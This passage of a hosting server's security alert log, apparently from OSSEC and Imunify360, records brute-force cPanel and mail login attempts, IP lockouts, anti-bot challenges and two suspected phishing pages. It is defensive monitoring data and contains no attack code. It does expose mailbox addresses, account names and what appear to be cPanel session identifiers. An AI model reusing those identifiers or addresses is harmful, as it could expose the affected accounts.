190.237.24.226 - - [16/Jun/2026:00:22:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10144866&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D12561&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781569337 HTTP/2.0" 302 0 mediatopnews.tg "https://mediatopnews.tg/?p=12561" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.3990.1486 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:190.237.24.226


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.170.247.223
country_id: 3017382
description:
[2026-06-16 00:22:02 +0000] info [cpaneld] 91.170.247.223 - matwtogoorg "GET /login/?login_only=1&user=matwtogoorg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user matwtogoorg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 46.191.184.15
country_id: 2017370
description:
[2026-06-16 00:22:17 +0000] info [cpaneld] 46.191.184.15 - mat "GET /login/?login_only=1&user=mat&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mat (has_cpuser_file failed)


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:00:22:27 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:00:22:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:22:30 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:22:32 dovecot_login authenticator failed for H=(UqWuXzfXd) [130.12.181.65]:59815: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun 16 00:23:16 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-16 00:23:18 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:19263: 535 Incorrect authentication data (set_id=commission)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.12.26.246
country_id: 690791
description:
[2026-06-16 00:24:18 +0000] info [cpaneld] 45.12.26.246 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:23:34 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:23:36 dovecot_login authenticator failed for H=(MaMQTuxwY8) [130.12.181.65]:49648: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.127.51.234
country_id: 294640
description:
[2026-06-16 00:24:27 +0000] info [cpaneld] 77.127.51.234 - relanceinf "GET /login/?login_only=1&user=relanceinf&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user relanceinf (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:24:37 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:24:39 dovecot_login authenticator failed for H=(icE72x5ViD) [130.12.181.65]:62390: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.228.241.152
country_id: 3469034
description:
[2026-06-16 00:24:29 +0000] info [cpaneld] 45.228.241.152 - relanceinfotg "GET /login/?login_only=1&user=relanceinfotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user relanceinfotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 170.83.2.250
country_id: 3469034
description:
[2026-06-16 00:24:32 +0000] info [cpaneld] 170.83.2.250 - relanceinf "GET /login/?login_only=1&user=relanceinf&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user relanceinf (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 117.5.153.193
country_id: 1562822
description:
[2026-06-16 00:24:35 +0000] info [cpaneld] 117.5.153.193 - relancein "GET /login/?login_only=1&user=relancein&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user relancein (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.176.108.69
country_id: 2464461
description:
[2026-06-16 00:24:52 +0000] info [cpaneld] 196.176.108.69 - re "GET /login/?login_only=1&user=re&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user re (has_cpuser_file failed)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:25:03 dovecot_login authenticator failed for H=(iwJgI7uZV) [130.12.181.65]:51659: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 223.24.213.179
country_id: 1605651
description:
[2026-06-16 00:24:23 +0000] info [cpaneld] 223.24.213.179 - relanceinfo "GET /login/?login_only=1&user=relanceinfo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user relanceinfo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.209.250.118
country_id: 2017370
description:
[2026-06-16 00:24:29 +0000] info [cpaneld] 178.209.250.118 - relancein "GET /login/?login_only=1&user=relancein&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user relancein (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 79.177.131.164
country_id: 294640
description:
[2026-06-16 00:24:39 +0000] info [cpaneld] 79.177.131.164 - relance "GET /login/?login_only=1&user=relance&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user relance (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.90.86.106
country_id: 3686110
description:
[2026-06-16 00:24:45 +0000] info [cpaneld] 190.90.86.106 - relan "GET /login/?login_only=1&user=relan&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user relan (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.121.109.172
country_id: 3686110
description:
[2026-06-16 00:24:46 +0000] info [cpaneld] 186.121.109.172 - relan "GET /login/?login_only=1&user=relan&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user relan (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 170.64.251.156
country_id: 2077456
description:
170.64.251.156 - - [16/Jun/2026:00:25:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9921389&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781569141 HTTP/2.0" 404 159 afrique-distribution.net "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Brave/1 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:170.64.251.156


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.56
country_id: 2635167
description:
[2026-06-16 00:25:55 +0000] info [cpaneld] 5.230.133.56 NEW wcnyaruu:VIzLFvfg1lI8oWQ2 address=5.230.133.56,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:25:24 dovecot_login authenticator failed for H=(vC4VetwlBI) [130.12.181.65]:57899: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.33
country_id: 2635167
description:
[2026-06-16 00:25:55 +0000] info [cpaneld] 5.230.153.33 NEW wcnyaruu:xwrl1vzCONuybM9W address=5.230.153.33,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:25:22 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 216.238.108.250
country_id: 3469034
description:
216.238.108.250 - - [16/Jun/2026:00:25:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9921389&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781569141 HTTP/2.0" 404 159 afrique-distribution.net "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0.1 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:216.238.108.250


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 173.211.89.140
country_id: 6252001
description:
[2026-06-16 00:26:49 +0000] info [cpaneld] 173.211.89.140 NEW ifxmoxbf:lBEWNWhy3OnCLL_t address=173.211.89.140,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.125
country_id: 2635167
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.253555187234854.php||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.179
country_id: 2635167
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.135982596125384.php||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:26:28 dovecot_login authenticator failed for H=(Vrad96mxy) [130.12.181.65]:51715: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:26:26 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 216.238.108.250
country_id: 3469034
description:
216.238.108.250 - - [16/Jun/2026:00:26:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9921389&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781569141 HTTP/2.0" 404 159 afrique-distribution.net "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:216.238.108.250


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.224.173
country_id: 1269750
description:
2026-06-16 00:28:20 dovecot_login authenticator failed for H=(nsg-corporate-173.224.187.122.airtel.in) [122.187.224.173]:34834: 535 Incorrect authentication data (set_id=info@sigm.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:27:30 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:27:32 dovecot_login authenticator failed for H=(WAF2O6U) [130.12.181.65]:52237: 535 Incorrect authentication data (set_id=ambaltogo)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 170.64.251.156
country_id: 2077456
description:
170.64.251.156 - - [16/Jun/2026:00:28:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9921389&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781569141 HTTP/1.1" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:170.64.251.156


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:28:36 dovecot_login authenticator failed for H=(XMDbDY) [130.12.181.65]:57485: 535 Incorrect authentication data (set_id=ambaltogo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:28:34 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:29:38 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:29:40 dovecot_login authenticator failed for H=(egZG7zN7) [130.12.181.65]:50825: 535 Incorrect authentication data (set_id=ambaltogo)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:30:00 dovecot_login authenticator failed for H=(DXY7RX2n) [130.12.181.65]:64386: 535 Incorrect authentication data (set_id=ambaltogo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:30:38 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:30:40 dovecot_login authenticator failed for H=(NH0UWS8) [130.12.181.65]:57610: 535 Incorrect authentication data (set_id=ambaltogo)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.11.40
country_id: 1269750
description:
2026-06-16 00:31:13 dovecot_login authenticator failed for H=([106.13.181.87]) [122.160.11.40]:44446: 535 Incorrect authentication data (set_id=marketing@anrtogo.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 92.113.115.237
country_id: 798544
domain: afriquerevelation.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:92.113.115.237||TA:92.113.115.237||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.160.11.40
country_id: 1269750
description:
Jun 16 00:31:11 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.160.11.40 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:31:21 dovecot_login authenticator failed for H=(tvNLnBUr) [130.12.181.65]:52657: 535 Incorrect authentication data (set_id=ambaltogo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:31:40 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-16 00:31:59 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:62574: 535 Incorrect authentication data (set_id=berthold)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.150
country_id: 1835841
description:
2026-06-16 00:32:09 dovecot_login authenticator failed for H=([49.124.153.13]) [121.131.220.150]:41991: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.9
country_id: 130758
description:
Jun 16 00:32:13 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.9 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.137.131.9
country_id: 1814991
description:
2026-06-16 00:31:49 dovecot_login authenticator failed for H=(intereuropartc.19522243-138.bih.net.ba) [36.137.131.9]:41250: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.137.131.9
country_id: 1814991
description:
Jun 16 00:31:47 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.137.131.9 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.131.220.150
country_id: 1835841
description:
Jun 16 00:32:07 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.131.220.150 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun 16 00:31:57 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.93.89.9
country_id: 130758
description:
2026-06-16 00:32:15 dovecot_login authenticator failed for H=(ADMIN) [185.93.89.9]:49906: 535 Incorrect authentication data (set_id=obiao@otr.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:32:25 dovecot_login authenticator failed for H=(ycL5cxUXD) [130.12.181.65]:51663: 535 Incorrect authentication data (set_id=ambaltogo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:32:23 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [16/Jun/2026:00:34:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9672850&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781570050 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.197.198.172
country_id: 3625428
description:
45.197.198.172 - - [16/Jun/2026:00:34:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9791642&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D14670&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781570056 HTTP/2.0" 302 0 mediatopnews.tg "https://mediatopnews.tg/?p=14670" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.3350.1738 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.197.198.172


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:33:26 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:33:28 dovecot_login authenticator failed for H=(QJt4YzYNO) [130.12.181.65]:53790: 535 Incorrect authentication data (set_id=ambaltogo)


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 216.238.108.250
country_id: 3469034
description:
216.238.108.250 - - [16/Jun/2026:00:33:58 +0000] "GET /favicon.ico HTTP/2.0" 415 185 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9921389&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781569141" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0.1 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:216.238.108.250


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:00:34:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9869162&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781570047 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 216.238.108.250
country_id: 3469034
description:
216.238.108.250 - - [16/Jun/2026:00:33:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9921389&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781569141 HTTP/2.0" 404 159 afrique-distribution.net "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0.1 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:216.238.108.250


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 172.121.139.71
country_id: 6252001
domain: afriquerevelation.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:172.121.139.71||TA:172.121.139.71||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.196.240.219
country_id: 3625428
description:
[2026-06-16 00:38:08 +0000] info [cpaneld] 38.196.240.219 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.100.135.153
country_id: 3658394
description:
[2026-06-16 00:38:14 +0000] info [cpaneld] 157.100.135.153 - certlogisticstogocom "GET /login/?login_only=1&user=certlogisticstogocom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user certlogisticstogocom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 86.99.106.167
country_id: 290557
description:
[2026-06-16 00:38:18 +0000] info [cpaneld] 86.99.106.167 - certlogisticstog "GET /login/?login_only=1&user=certlogisticstog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user certlogisticstog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.26.222.10
country_id: 3865483
description:
[2026-06-16 00:38:30 +0000] info [cpaneld] 181.26.222.10 - certlogistic "GET /login/?login_only=1&user=certlogistic&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user certlogistic (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.119.149.8
country_id: 2542007
description:
[2026-06-16 00:38:38 +0000] info [cpaneld] 196.119.149.8 - certlogist "GET /login/?login_only=1&user=certlogist&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user certlogist (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 69.158.63.234
country_id: 6251999
description:
[2026-06-16 00:38:40 +0000] info [cpaneld] 69.158.63.234 - certlogis "GET /login/?login_only=1&user=certlogis&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user certlogis (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.192.83.79
country_id: 3469034
description:
[2026-06-16 00:39:06 +0000] info [cpaneld] 181.192.83.79 - ce "GET /login/?login_only=1&user=ce&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ce (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 223.29.215.20
country_id: 1210997
description:
[2026-06-16 00:38:34 +0000] info [cpaneld] 223.29.215.20 - certlogisti "GET /login/?login_only=1&user=certlogisti&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user certlogisti (has_cpuser_file failed)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 100.49.63.68
country_id: 6252001
domain: api.butodra.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/138.0.0.0 Safari/537.36||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 85.193.117.229
country_id: 1522867
description:
[2026-06-16 00:38:54 +0000] info [cpaneld] 85.193.117.229 - certl "GET /login/?login_only=1&user=certl&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user certl (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.77.57.29
country_id: 3658394
description:
